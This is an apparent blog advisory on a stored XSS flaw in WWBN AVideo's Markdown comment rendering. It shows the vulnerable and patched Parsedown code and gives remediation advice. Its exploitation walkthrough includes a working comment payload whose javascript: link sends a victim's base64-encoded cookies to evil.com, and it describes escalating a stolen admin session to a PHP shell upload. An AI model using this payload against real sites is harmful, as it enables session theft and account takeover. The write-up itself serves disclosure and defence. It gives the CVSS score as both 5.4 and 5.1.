Feb 24, 2026·7 min read·15 visits
A Stored XSS vulnerability exists in WWBN AVideo versions prior to 21.0. The application uses the Parsedown library to render user comments but failed to enable 'Safe Mode'. This allows authenticated attackers to inject malicious JavaScript via Markdown links (e.g., `[Click Me](javascript:...)`). When an administrator or other user clicks the link, the script executes, leading to session cookie theft and account takeover.
In the world of web security, few things are as timeless as Cross-Site Scripting (XSS). It’s the cockroach of vulnerabilities—it survives nuclear wars and framework rewrites. CVE-2026-27568 represents a classic failure in the 'sanitize your inputs' department within WWBN AVideo, a popular open-source video platform. By trusting a Markdown parser's default configuration, the developers inadvertently allowed attackers to turn the comment section into a weaponized payload delivery system. This report dives deep into how a missing boolean flag in a PHP library allowed `javascript:` URIs to slip past the goalie, leading to session hijacking and potential administrative takeover.
AVideo (formerly YouPHPTube) is exactly what it sounds like: a robust, open-source solution for hosting your own video streaming service. It’s complex, feature-rich, and written in PHP—the holy trinity for security researchers looking for a fun weekend. One of the core features of any social platform is user interaction, specifically the ability to leave comments on videos. To make these comments look pretty, developers often reach for Markdown, a lightweight markup language that converts text into HTML.
In this case, AVideo utilized Parsedown, a very popular PHP library for parsing Markdown. The logic seems sound on paper: user submits text, server parses text, server displays HTML. What could possibly go wrong? Well, in the security world, the answer is always 'everything'. The vulnerability lies not in the existence of the feature, but in the implicit trust placed in the library's default settings. It's akin to buying a chainsaw that comes without the safety guard installed by default—sure, it cuts wood, but it might also take your leg off if you aren't paying attention.
The specific component at fault is objects/functionsSecurity.php. This file contains the helper functions intended to keep the application safe. Ironically, the function responsible for rendering HTML from Markdown became the very vector for injection. By failing to sanitize the output of the parser, the application opened the door for Stored Cross-Site Scripting (XSS), turning every comment section into a potential minefield for administrators.
The root cause of CVE-2026-27568 is a fundamental misunderstanding of how the Parsedown library operates. Many developers assume that a 'parser' implies a 'sanitizer'. They think, "I'm converting Markdown to HTML, so surely the library won't let users inject malicious scripts, right?" Wrong. By default, Parsedown is a faithful translator. If you give it a link with a javascript: protocol, it assumes you know what you are doing and renders it. It doesn't judge; it just executes.
Technically, this is an Improper Neutralization of Input During Web Page Generation (CWE-79). The application accepts user input (the comment), stores it in the database, and then reflects it back to other users without adequate filtering. The flaw isn't just that it allows HTML tags (though it does that too if not configured otherwise); the more subtle and dangerous vector here is the javascript: pseudo-protocol within Markdown links.
When a user submits a comment like [Click Me](javascript:alert(1)), a standard Markdown parser outputs <a href="javascript:alert(1)">Click Me</a>. This is valid HTML. The browser sees this and says, "Okay, when clicked, I will run this JavaScript code." Because this script runs in the victim's browser context (the Origin), it has access to everything the victim has access to—including document.cookie and the DOM. The developers of AVideo missed the critical configuration step: telling Parsedown to be paranoid.
Let's look at the code. It is brief, which makes the oversight even more painful. In objects/functionsSecurity.php, the function markDownToHTML was responsible for the conversion. Before version 21.0, it looked essentially like this:
function markDownToHTML($text) {
$parsedown = new Parsedown();
// Convert Markdown to HTML
$html = $parsedown->text($text);
return $html;
}Do you see the issue? It instantiates the class and immediately runs the text() method. There is no configuration. There is no setSafeMode(true). It is running 'naked'. This allows raw HTML pass-through and unsafe URI schemes.
The fix, applied in commit ade348ed6d28b3797162c3d9e98054fb09ec51d7, is a textbook example of how to lock this down. The developer realized that the library supports a 'Safe Mode' which escapes HTML markup and, crucially, sanitizes URLs to prevent XSS.
function markDownToHTML($text) {
$parsedown = new Parsedown();
// FIX: Enable safe mode to prevent XSS via raw HTML
$parsedown->setSafeMode(true);
// FIX: Also escape any markup that bypasses safe mode
$parsedown->setMarkupEscaped(true);
// Convert Markdown to HTML
$html = $parsedown->text($text);
return $html;
}By adding $parsedown->setSafeMode(true);, the library now treats user input as hostile. If a user tries to inject <script>, it gets encoded to <script>. If they try the javascript: link trick, Parsedown filters it out or renders it inert. It’s a two-line fix that saves the entire platform.
So, how do we break this? Since this is a Stored XSS, we don't need to trick a user into clicking a weird URL in an email. We just need to leave a comment on a popular video and wait. The trap is laid in the database itself.
Step 1: Reconnaissance First, we verify the target is running an older version of AVideo. We create a standard user account—nothing fancy, just a regular viewer.
Step 2: The Injection We navigate to a video with high traffic. We craft a comment that looks innocent but carries a payload. We use Markdown syntax to disguise the attack.
Payload:
Wow, this video is amazing! I found a [detailed tutorial here](javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))) that explains the ending.Step 3: The Trigger
The server processes our markdown using the insecure markDownToHTML function. It saves the following HTML to the database:
<p>Wow, this video is amazing! I found a <a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))">detailed tutorial here</a> that explains the ending.</p>Step 4: Execution An Administrator logs in to moderate comments or watch videos. They see our helpful link. Curious about the "tutorial," they click it.
Immediately, the JavaScript executes. It reads document.cookie, base64 encodes it (to ensure safe transport), and sends it to our listener at evil.com. We now have their session ID. We set that cookie in our browser, refresh the page, and suddenly, we are the Administrator.
Why is this a big deal? "It's just a comment," you might say. In web application security, XSS is the gateway drug to total compromise. Once an attacker has administrative session cookies, the game is usually over.
In the context of AVideo, an administrator has broad powers. They can delete videos, ban users, and change site settings. But more importantly, many CMS-like platforms allow administrators to upload files—plugins, logos, or system updates. If an attacker can impersonate an admin, they can often find a way to upload a PHP shell (e.g., via a 'custom logo' upload that doesn't validate file extensions strictly enough).
This escalates the vulnerability from "I can steal your session" (Confidentiality/Integrity loss) to "I can run code on your server" (Remote Code Execution). Even without RCE, the attacker can deface the site, distribute malware to other users via the same XSS vector, or dump the user database. The 'Medium' severity score (CVSS 5.4) feels deceptive here; in the hands of a skilled attacker, the practical impact is Critical.
The remediation is straightforward: Update to AVideo version 21.0. This version includes the patch that enables safe mode in Parsedown.
If you are stuck on a legacy version and cannot upgrade (perhaps you've heavily customized the core code), you must manually patch objects/functionsSecurity.php. Locate the markDownToHTML function and inject the safety flags:
$parsedown->setSafeMode(true);
$parsedown->setMarkupEscaped(true);Defense in Depth:
Don't stop there. XSS is pervasive. You should implement a Content Security Policy (CSP). A strong CSP can prevent the execution of inline scripts and restrict where data can be sent (connect-src). If you had a CSP header like Content-Security-Policy: default-src 'self'; script-src 'self';, the javascript: link would likely fail to execute, or at the very least, the fetch to evil.com would be blocked by the browser. Never rely on just one layer of defense.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
AVideo WWBN | < 21.0 | 21.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Stored XSS) |
| CVSS v4.0 | 5.1 (Medium) |
| Impact | Session Hijacking, Privilege Escalation |
| Library | Parsedown 1.7.4 |
| KEV Status | Not Listed |